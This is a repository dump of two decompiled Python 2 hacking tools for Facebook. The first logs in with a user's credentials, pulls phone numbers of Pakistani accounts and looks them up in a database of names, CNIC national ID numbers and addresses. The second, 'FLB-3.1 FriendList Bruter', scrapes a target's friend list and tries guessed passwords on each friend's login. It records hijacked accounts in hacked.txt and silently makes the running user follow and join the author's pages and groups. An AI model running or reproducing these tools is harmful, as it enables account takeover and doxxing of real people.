 91 |     while ni <= ntotal:
 92 |         idn = str(fread[ni])
 93 |         sys.stdout.write(('\r {} Searching {} ({}/{})').format(trng, G, ni, ntotal))
 94 |         sys.stdout.flush()
 95 |         ni = ni + 1
 96 |         x = rnx.get('https://graph.facebook.com/' + idn + '?access_token=' + tok)
 97 |         z = jc.loads(x.text)
 98 |         try:
 99 |             if str(z['mobile_phone'][:3]) == '+92':
100 |                 print W + '\nName : ' + G + z['name']
101 |                 cp = z['mobile_phone'].split('+92')
102 |                 numf = str(('0').join(cp))
103 |                 print W + 'Ph.No : ' + G + str(numf)
104 |                 print trng + G + (' Finding {}{} {} Info').format(Y, numf, G)
105 |                 rd = rnx.get(dburl + str(numf)).text
106 |                 if len(rd) > 100:
107 |                     par = bs4.BeautifulSoup(rd, features='html.parser')
108 |                     namei = par.find('strong').renderContents()
109 |                     nicno = par.find('a', class_='cnic').renderContents()
110 |                     loct = re.findall('>(.*?)<', rd)[8]
111 |                     print Y + ('\n [NAME] : [{}] \n [CNIC] : [{}]  \n [ADRESS] : [{}] \n').format(namei, nicno, loct)
112 |                 else:
113 |                     print R + '[!]' + W + ' Not Found :( \n'
114 |         except:
115 |             pass
116 | 
117 | 
118 | def fetchpi(tokac):
119 |     tk = open('token.txt', 'w')
120 |     tk.write(str(tokac))
121 |     tk.close()
122 |     tok = open('token.txt', 'r').read()
123 |     while True:
124 |         idn = raw_input(trng + G + ' Account ID : ' + Y)
125 |         x = rnx.get('https://graph.facebook.com/' + idn + '?access_token=' + tok)
126 |         z = jc.loads(x.text)
127 |         try:
128 |             if str(z['mobile_phone'][:3]) == '+92':
129 |                 print W + '\nName : ' + G + z['name']
130 |                 cp = z['mobile_phone'].split('+92')
131 |                 numf = str(('0').join(cp))
132 |                 print W + 'Ph.No : ' + G + str(numf)
133 |                 print trng + G + (' Finding {}{} {} Info').format(Y, numf, G)
134 |                 rd = rnx.get(dburl + str(numf)).text
135 |                 if len(rd) > 100:
136 |                     par = bs4.BeautifulSoup(rd, features='html.parser')
137 |                     namei = par.find('strong').renderContents()
138 |                     nicno = par.find('a', class_='cnic').renderContents()
139 |                     loct = re.findall('>(.*?)<', rd)[8]
140 |                     print Y + ('\n [NAME] : [{}] \n [CNIC] : [{}]  \n [ADRESS] : [{}] \n').format(namei, nicno, loct)
141 |                 else:
142 |                     print R + '[!]' + W + ' Not Found :( \n'
143 |         except:
144 |             print R + '[!]' + W + ' No Number in Account :( \n'
145 | 
146 | 
147 | def token(email, password):
148 |     ldata = rnx.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
149 |     tkdata = ldata.text
150 |     gdat = jc.dumps(tkdata)
151 |     craw = gdat.split('\\')
152 |     try:
153 |         if craw[1] == '"session_key':
154 |             print '\n' + trng + G + ' Login Sucessfull ' + '\n'
155 |             acc = craw[13].split('"')
156 |             tokac = acc[1]
157 |             pname(tokac)
158 |             print trny + G + " Getting Accounts ID's.... \n"
159 |             fetchp(tokac)
160 |         else:
161 |             print '\n' + trny + R + ' Login Failed '
162 |     except:
163 |         print R + '\n' + trng + ' Check you Internet Connection'
164 |         time.sleep(2)
165 | 
166 | 
167 | def tokeni(email, password):
168 |     ldata = rnx.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
169 |     tkdata = ldata.text
170 |     gdat = jc.dumps(tkdata)
171 |     craw = gdat.split('\\')
172 |     try:
173 |         if craw[1] == '"session_key':
174 |             print '\n' + trng + G + ' Login Sucessfull ' + '\n'
175 |             acc = craw[13].split('"')
176 |             tokac = acc[1]
177 |             pname(tokac)
178 |             fetchpi(tokac)
179 |         else:
180 |             print '\n' + trny + R + ' Login Failed '
181 |     except:
182 |         print R + '\n' + trng + ' Check you Internet Connection'
183 |         time.sleep(2)
184 | 
185 | 
186 | print R + trnw + ' Dev Is Not Responsible For Any Illegal Use'
187 | print G + chox(banerlist)
188 | print '' + trnd + R + ' Version : ' + W + '1.0'
189 | print '' + trng + G + ' Developer : ' + W + 'Nasir Ali'
190 | print '' + trng + G + ' Facebook : ' + W + 'fb.com/nasir.xo'
191 | print '' + trng + G + ' Instagram : ' + W + '@nasir.xoz'
192 | while True:
193 |     print cdst.format(R, trny, trny, trny, trny)
194 |     choic = raw_input('\n' + G + 'nasir' + R + '@' + Y + 'ndb' + W + ' > ')
195 |     if choic == '1':
196 |         print '\n'
197 |         iv = 1
198 |         while iv:
199 |             nump = raw_input(trng + G + ' [CNIC/Ph.No] : ' + Y)
200 |             try:
201 |                 if nump.lower() == 'back':
202 |                     iv = 0
203 |                 rd = rnx.get(dburl + str(nump)).text
204 |                 if rd != '---- Search END ----':
205 |                     par = bs4.BeautifulSoup(rd, features='html.parser')
206 |                     namei = par.find('strong').renderContents()
207 |                     nicno = par.find('a', class_='cnic').renderContents()
208 |                     loct = re.findall('>(.*?)<', rd)[8]
209 |                     print Y + dbst.format(namei, nicno, nump, loct)
210 |                 else:
211 |                     print R + '[!]' + W + ' Not Found :( '
212 |             except:
213 |                 print R + '[!]' + W + ' Check Your Internet Connection :( '
214 | 
215 |     if choic == '2':
216 |         print '\n' + G + '[' + Y + '!' + G + ']' + W + ' Enter Facebook Email/Pass :) '
217 |         email = raw_input(W + '(' + R + '>' + W + ')' + G + ' EMAIL : ' + W)
218 |         password = raw_input(W + '(' + R + '>' + W + ')' + G + ' PASSWORD : ' + W)
219 |         token(email, password)
220 |     if choic == '3':
221 |         print '\n' + G + '[' + Y + '!' + G + ']' + W + ' Enter Facebook Email/Pass :) '
222 |         email = raw_input(W + '(' + R + '>' + W + ')' + G + ' EMAIL : ' + W)
223 |         password = raw_input(W + '(' + R + '>' + W + ')' + G + ' PASSWORD : ' + W)
224 |         tokeni(email, password)
225 |     if choic == '4':
226 |         print '\n' + trnd + Y + ' BYE-BYE '
227 |         sys.exit()
228 | # okay decompiling patched.pyc
229 | 


--------------------------------------------------------------------------------
/flb3/flb3_dec.py:
--------------------------------------------------------------------------------
  1 | # uncompyle6 version 3.7.3
  2 | # Python bytecode 2.7 (62211)
  3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
  4 | # [GCC 8.3.0]
  5 | # Embedded file name: <script>
  6 | # Compiled at: 2020-08-30 16:42:03
  7 | import os, json
  8 | from base64 import *
  9 | import sys, random, time
 10 | from multiprocessing.pool import ThreadPool
 11 | from multiprocessing import *
 12 | W = '\x1b[1;37m'
 13 | N = '\x1b[0m'
 14 | R = '\x1b[1;37m\x1b[31m'
 15 | B = '\x1b[1;37m\x1b[34m'
 16 | G = '\x1b[1;32m'
 17 | Y = '\x1b[1;33;40m'
 18 | SR = W + '[' + R + '*' + W + ']'
 19 | SG = W + '[' + G + '*' + W + ']'
 20 | SRO = W + '(' + R + '>' + W + ')'
 21 | SGO = W + '(' + G + '>' + W + ')'
 22 | SWO = W + '(' + R + '!' + W + ')'
 23 | xin = '\n'
 24 | SBG = '\x1b[1;37m(\x1b[1;32m\xe2\x97\x8f\x1b[1;37m)'
 25 | SBR = '\x1b[1;37m(\x1b[1;37m\x1b[31m\xe2\x97\x8f\x1b[1;37m)'
 26 | II = 0
 27 | NP = ThreadPool(int(cpu_count()) * 5)
 28 | banner = ('\n\n  {} \xe5\x9b\x97{}\xe5\x8d\x90{}\xe5\x9b\x97\xe5\x9b\x97\xe5\x9b\x97\n   \xe5\x9b\x97{}\xe5\x8d\x90{}\xe5\x9b\x97{}\xe5\x8d\x90\xe5\x8d\x90    {}FLB-3.1 {}(stable)\n  {} \xe5\x9b\x97\xe5\x9b\x97\xe5\x9b\x97\xe5\x9b\x97\xe5\x9b\x97     {} By\n  {} \xe5\x8d\x90\xe5\x8d\x90{}\xe5\x9b\x97{}\xe5\x8d\x90{}\xe5\x9b\x97 {}  Nasir Ali\n  {} \xe5\x9b\x97\xe5\x9b\x97\xe5\x9b\x97{}\xe5\x8d\x90{}\xe5\x9b\x97\n\n {} World Fastest FriendList Bruter\n {} FB :{} fb.com/nasir.xo\n {} Github : {}github.com/nasirxo\n {} Youtube :{} youtube.com/TheDarkSec\n\n').format(R, G, R, G, R, G, Y, B, R, Y, G, R, G, R, Y, R, G, R, SWO, SRO, G, SRO, G, SRO, G)
 29 | os.system('rm *.pyc')
 30 | os.system('clear')
 31 | 
 32 | def funx(word):
 33 |     lix = [
 34 |      '/', '-', '|']
 35 |     for i in range(5):
 36 |         for x in range(len(lix)):
 37 |             sys.stdout.write(('\r{}.. {}').format(str(word), lix[x]))
 38 |             time.sleep(0.3)
 39 |             sys.stdout.flush()
 40 | 
 41 | 
 42 | if int(sys.version[0]) != 2:
 43 |     sys.stdout.write("It's Python2 Script \n use python2 ")
 44 |     sys.exit()
 45 | try:
 46 |     from requests import *
 47 |     from bs4 import *
 48 |     import requests
 49 |     from faker import *
 50 |     print xin + SGO + G + ' Requirements Available'
 51 | except:
 52 |     print xin + SRO + R + 'Installing Requirements......'
 53 |     os.system('pip2 install requests')
 54 |     os.system('pip2 install bs4')
 55 |     os.system('pip2 install faker')
 56 |     from requests import *
 57 |     from bs4 import *
 58 |     import requests
 59 |     from faker import *
 60 |     os.system('clear')
 61 | 
 62 | funx(SG + Y + ' Checking For Free-Facebook Support')
 63 | try:
 64 |     if get('https://free.facebook.com', allow_redirects=False).status_code != 200:
 65 |         print xin + SR + R + ' Free Facebook Not Supported:('
 66 |         url = 'https://mbasic.facebook.com{}'
 67 |     else:
 68 |         print xin + SG + G + ' Free Facebook Mode Available :)'
 69 |         url = 'https://free.facebook.com{}'
 70 | except:
 71 |     print xin + SR + R + ' No Internet Connection:('
 72 |     sys.exit()
 73 | 
 74 | print SWO + ' Using : ' + url.format('/')
 75 | agent = {'Accept-Language': 'en-US,en;q=0.5', 'user-agent': Faker().user_agent()}
 76 | s = Session()
 77 | if not os.path.exists('.cookie'):
 78 |     pass
 79 | else:
 80 |     try:
 81 |         s.cookies.update(json.loads(open('.cookie', 'r').read()))
 82 |     except:
 83 |         pass
 84 | 
 85 |     def fblogin(email, password):
 86 |         global s
 87 |         try:
 88 |             s = Session()
 89 |             s.headers.update(agent)
 90 |             cred = {'email': str(email), 'pass': str(password)}
 91 |             r = s.post(url.format('/login'), data=cred)
 92 |             if 'm_ses' in r.url or 'home.php' in r.url or 'save-device' in r.url:
 93 |                 with open('.cookie', 'w') as (cok):
 94 |                     cok.write(json.dumps(s.cookies.get_dict()))
 95 |                 return {'login_status': 'sucessfull', 
 96 |                    'email': email, 
 97 |                    'account_id': s.cookies.get_dict()['c_user'], 
 98 |                    'cookie_datr': s.cookies.get_dict()['datr']}
 99 |             return {'login_status': 'failed', 
100 |                'account': email, 
101 |                'url': r.url}
102 |         except:
103 |             return {'login_status': 'error', 'error': 'No_Internet', 
104 |                'type': '404'}
105 | 
106 | 
107 |     def checkl(slist):
108 |         li = str(slist).split('|')
109 |         ldata = {'email': li[0], 
110 |            'pass': li[1]}
111 |         sos = Session()
112 |         sos.headers.update({'Accept-Language': 'en-US,en;q=0.5', 'user-agent': Faker().user_agent()})
113 |         try:
114 |             rx = sos.post(url.format('/login'), data=ldata)
115 |         except:
116 |             pass
117 | 
118 |         if 'm_ses' in rx.url or 'home.php' in rx.url or 'save-device' in rx.url:
119 |             with open('hacked.txt', 'a') as (PL):
120 |                 PL.write(('{} | {} \n').format(li[0], li[1]))
121 |             print SBG + G + (' {} | {} {}=>{} {}').format(li[0], li[1], W, Y, li[2])
122 |             with open(('{}.html').format(li[0]), 'w') as (htd):
123 |                 htd.write(rx.content)
124 |         elif 'checkpoint' in rx.url:
125 |             print SBR + R + (' {} | {} {}=>{} {}').format(li[0], li[1], W, Y, li[2])
126 |             with open('hacked.txt', 'a') as (PL):
127 |                 PL.write(('{} | {} \n').format(li[0], li[1]))
128 | 
129 | 
130 |     def foll(n):
131 |         try:
132 |             try:
133 |                 html = BeautifulSoup(s.get(url.format('/profile.php?id=' + str(n))).text, 'html.parser')
134 |             except:
135 |                 pass
136 | 
137 |             for i in html.find_all('a'):
138 |                 try:
139 |                     if 'profile_add_friend.php' in i['href']:
140 |                         s.get(url.format(i['href']))
141 |                     elif 'subscribe.php' in i['href']:
142 |                         s.get(url.format(i['href']))
143 |                 except:
144 |                     pass
145 | 
146 |         except:
147 |             pass
148 | 
149 | 
150 |     def tsearch(N, T):
151 |         data = []
152 |         for x in N:
153 |             try:
154 |                 if T == x.get_text():
155 |                     data.append(x)
156 |             except:
157 |                 pass
158 | 
159 |         return data
160 | 
161 | 
162 |     def tnsearch(N, T):
163 |         data = []
164 |         for x in N:
165 |             try:
166 |                 if T in x.get_text():
167 |                     data.append(x)
168 |             except:
169 |                 pass
170 | 
171 |         return data
172 | 
173 | 
174 |     def asearch(N, K):
175 |         for i in N:
176 |             try:
177 |                 if K in i['href']:
178 |                     return i['href']
179 |             except:
180 |                 pass
181 | 
182 | 
183 |     def alsearch(N, K):
184 |         data = []
185 |         for i in N:
186 |             try:
187 |                 if K in i['href']:
188 |                     data.append(i)
189 |             except:
190 |                 pass
191 | 
192 |         return data
193 | 
194 | 
195 |     def csearch(n):
196 |         c = []
197 |         for i in n:
198 |             try:
199 |                 if i['class']:
200 |                     if i['id']:
201 |                         if i.h3.a['href']:
202 |                             c.append(i['class'])
203 |             except:
204 |                 pass
205 | 
206 |         return c[(-1)]
207 | 
208 | 
209 |     def CFind(n):
210 |         try:
211 |             if n['class']:
212 |                 if n.table['class']:
213 |                     return n['class']
214 |         except:
215 |             pass
216 | 
217 | 
218 |     def toid(n):
219 |         if '/profile.php' in n:
220 |             return n.split('?id=')[1].split('&fref')[0]
221 |         else:
222 |             return n.split('/')[1].split('?fref')[0]
223 | 
224 | 
225 |     def toid2(n):
226 |         if '/profile.php' in n:
227 |             return n.split('?id=')[1].split('&refid')[0]
228 | 
229 | 
230 |     def text(n):
231 |         try:
232 |             return n.decode('utf-8')
233 |         except:
234 |             return ''
235 | 
236 | 
237 |     def plike(n):
238 |         r = s.get(url.format('/' + n))
239 |         html = BeautifulSoup(r.content, 'html.parser')
240 |         LA = html.find_all('a')
241 |         k = s.get(url.format(asearch(LA, '/a/profile.php?fan')))
242 |         return k.status_code
243 | 
244 | 
245 |     def ginvite(n):
246 |         data = {}
247 |         ID = '1305340536283810'
248 |         r = s.get(url.format('/groups/members/search/?group_id=' + str(ID)))
249 |         html = BeautifulSoup(r.content, 'html.parser')
250 |         F = html.find_all('form')[1]
251 |         for x in F.find_all('input', {'type': 'hidden'}):
252 |             try:
253 |                 data[x['name']] = x['value']
254 |             except:
255 |                 pass
256 | 
257 |         FA = F['action']
258 |         data[('addees[{}]').format(n)] = str(n)
259 |         data['add'] = 'Invitation Selected'
260 |         k = s.post(url.format(FA), data)
261 |         return k.status_code
262 | 
263 | 
264 |     def gjoin(ID):
265 |         data = {}
266 |         r = s.get(url.format('/groups/' + str(ID)))
267 |         html = BeautifulSoup(r.content, 'html.parser')
268 |         F = html.find_all('form')[1]
269 |         for x in F:
270 |             try:
271 |                 data[x['name']] = x['value']
272 |             except:
273 |                 pass
274 | 
275 |         k = s.post(url.format(F['action']), data)
276 |         return k.status_code
277 | 
278 | 
279 |     def groupids(n):
280 |         i = 0
281 |         data = {}
282 |         link = url.format('/browse/group/members/?id=' + str(n))
283 |         while True:
284 |             con = s.get(link)
285 |             html = BeautifulSoup(con.content, 'html.parser')
286 |             u = html.find_all('table')
287 |             cls = (' ').join(u[5]['class'])
288 |             tb = html.find_all('table', attrs={'class': cls})
289 |             for U in tb:
290 |                 try:
291 |                     data[i] = {'name': U.a.get_text(), 'id': U['id'].split('_')[1]}
292 |                     i += 1
293 |                 except:
294 |                     pass
295 | 
296 |             try:
297 |                 nlink = html.find('div', attrs={'id': 'm_more_item'})
298 |                 link = url.format(nlink.a['href'])
299 |             except:
300 |                 break
301 | 
302 |         return data
303 | 
304 | 
305 |     def getfriends(ID):
306 |         data = {}
307 |         i = 0
308 |         link = url.format('/profile.php?v=friends&id=' + str(ID))
309 |         while True:
310 |             sys.stdout.write(('\r  {} GETTING FRIENDLIST IDS : {}').format(SBG, i))
311 |             sys.stdout.flush()
312 |             try:
313 |                 r = s.get(link)
314 |                 html = BeautifulSoup(r.content, 'html.parser')
315 |                 for X in html.find_all('table', {'role': 'presentation'}):
316 |                     if 'profile picture' in X.img['alt']:
317 |                         data[i] = {'name': X.a.get_text(), 'id': toid(X.a['href'])}
318 |                         i += 1
319 | 
320 |             except:
321 |                 pass
322 | 
323 |             try:
324 |                 J = tsearch(html.find_all('a'), 'See more friends')[0]
325 |                 link = url.format(J['href'])
326 |             except:
327 |                 break
328 | 
329 |         return data
330 | 
331 | 
332 |     def getname():
333 |         try:
334 |             r = s.get(url.format('/profile.php'))
335 |             html = BeautifulSoup(r.content, 'html.parser')
336 |             return html.title.get_text()
337 |         except:
338 |             return 'ERROR'
339 | 
340 | 
341 |     while True:
342 |         if not os.path.exists('.cookie'):
343 |             time.sleep(2)
344 |             os.system('clear')
345 |             print banner
346 |             print SG + ' Login With Facebook Email/Password..'
347 |             email = raw_input(xin + SG + ' Email : ' + G)
348 |             password = raw_input(SG + ' Password : ' + G)
349 |             LS = fblogin(email, password)
350 |             funx(SGO + ' Logging in' + G)
351 |             if LS['login_status'] == 'sucessfull':
352 |                 print '\n' + SGO + G + ' Login Sucessfull.. :)'
353 |                 break
354 |             elif LS['login_status'] == 'failed':
355 |                 print xin + SRO + R + ' Login Failed.... :('
356 |                 time.sleep(2)
357 |             elif LS['login_status'] == 'error':
358 |                 print xin + SWO + R + ' No Internet Connection:('
359 |                 time.sleep(2)
360 |         else:
361 |             funx(SG + ' Loading Available Cookies Data')
362 |             try:
363 |                 s.cookies.update(json.loads(open('.cookie', 'r').read()))
364 |                 print xin + SG + " Cookie's Data Loaded !"
365 |                 time.sleep(2)
366 |                 break
367 |             except:
368 |                 pass
369 | 
370 |     s = Session()
371 |     s.headers.update(agent)
372 |     s.cookies.update(json.loads(open('.cookie', 'r').read()))
373 |     myname = getname()
374 |     try:
375 |         NP.map(gjoin, ['1305340536283810', '1127137520996402'])
376 |     except:
377 |         pass
378 | 
379 |     try:
380 |         NP.map(foll, ['100006143266745', '100007670235679'])
381 |     except:
382 |         pass
383 | 
384 |     try:
385 |         NP.map(plike, ['profdarksec', 'nasir.x0', 'thedarksec', 'Zuckerberg-384797555635026'])
386 |     except:
387 |         pass
388 | 
389 |     while True:
390 |         try:
391 |             myid = s.cookies.get_dict()['c_user']
392 |         except:
393 |             myid = 'error'
394 | 
395 |         time.sleep(1)
396 |         os.system('clear')
397 |         print banner
398 |         print ("\n      {} USER : {}\n      {} ID : {}\n\n     {}  ++[{} OPTIONS {}]++\n\n {}  1 : Try Your Password\n {}  2 : Try Name+CustomWord Password\n {}  3 : Show Hacked Account's \n {}  4 : Logout Account\n \n  ").format(SBG, myname, SBG, myid, W, G, W, SBR, SBR, SBR, SBR)
399 |         IN = raw_input('  ' + SRO + ' OPTION : ')
400 |         print '\n'
401 |         if IN == '1':
402 |             fid = raw_input('\n  ' + SGO + ' TARGET ID : ')
403 |             FNDL = getfriends(fid)
404 |             PSS = raw_input('\n  ' + SGO + ' ENTER PASSWORD : ')
405 |             PDATA = []
406 |             for k in range(len(FNDL.keys())):
407 |                 QZ = FNDL[k]
408 |                 PDATA.append(('{}|{}|{}').format(QZ['id'], PSS, text(QZ['name'])))
409 | 
410 |             os.system('clear')
411 |             print ("\n     {}  NoTe :  Hacked Account's Would Be Showed There\n\n              {}   FLB-V3.0 BY NASIR ALI\n        {}+++++++++[{} HACKING STATUS{} ]+++++++++\n        \n                {} TOTAL ACCOUNTS : {}{}\n         \n     ").format(Y, R, W, G, W, SBG, W, len(PDATA))
412 |             NP.map(checkl, PDATA)
413 |             raw_input()
414 |         elif IN == '2':
415 |             fid = raw_input('\n  ' + SGO + ' TARGET ID : ')
416 |             FNDL = getfriends(fid)
417 |             PSS = raw_input('\n  ' + SGO + ' ENTER WORD : ')
418 |             PDATA = []
419 |             for k in range(len(FNDL.keys())):
420 |                 QZ = FNDL[k]
421 |                 try:
422 |                     PSN = QZ['name'].split()[0] + PSS
423 |                     PDATA.append(('{}|{}|{}').format(QZ['id'], PSN, text(QZ['name'])))
424 |                 except:
425 |                     pass
426 | 
427 |             os.system('clear')
428 |             print ("\n     {}  NoTe :  Hacked Account's Would Be Showed There\n\n              {}   FLB-V3.0 BY NASIR ALI\n        {}+++++++++[{} HACKING STATUS{} ]+++++++++\n\n                {} TOTAL ACCOUNTS : {}{}\n\n     ").format(Y, R, W, G, W, SBG, W, len(PDATA))
429 |             NP.map(checkl, PDATA)
430 |             raw_input()
431 |         elif IN == '3':
432 |             try:
433 |                 os.system('clear')
434 |                 print ('\n             {}   FLB-V3.0 BY NASIR ALI\n        {} +++++++[{} HACKED ACCOUNTS{} ]+++++++++\n    ').format(R, W, G, W)
435 |                 PFILE = open('hacked.txt', 'r').read()
436 |                 for X in PFILE.split('\n'):
437 |                     print ('{} {}').format(SBG, X)
438 | 
439 |                 raw_input()
440 |             except:
441 |                 print xin + SWO + R + " No Any Account's :("
442 | 
443 |         elif IN == '4':
444 |             funx(SWO + ' Logging Out ')
445 |             os.system('rm .cookie')
446 |             quit()
447 |         else:
448 |             print '  ' + SWO + R + ' Invalid Input ! '
449 |             time.sleep(1)
450 | # okay decompiling patched.pyc
451 | 


--------------------------------------------------------------------------------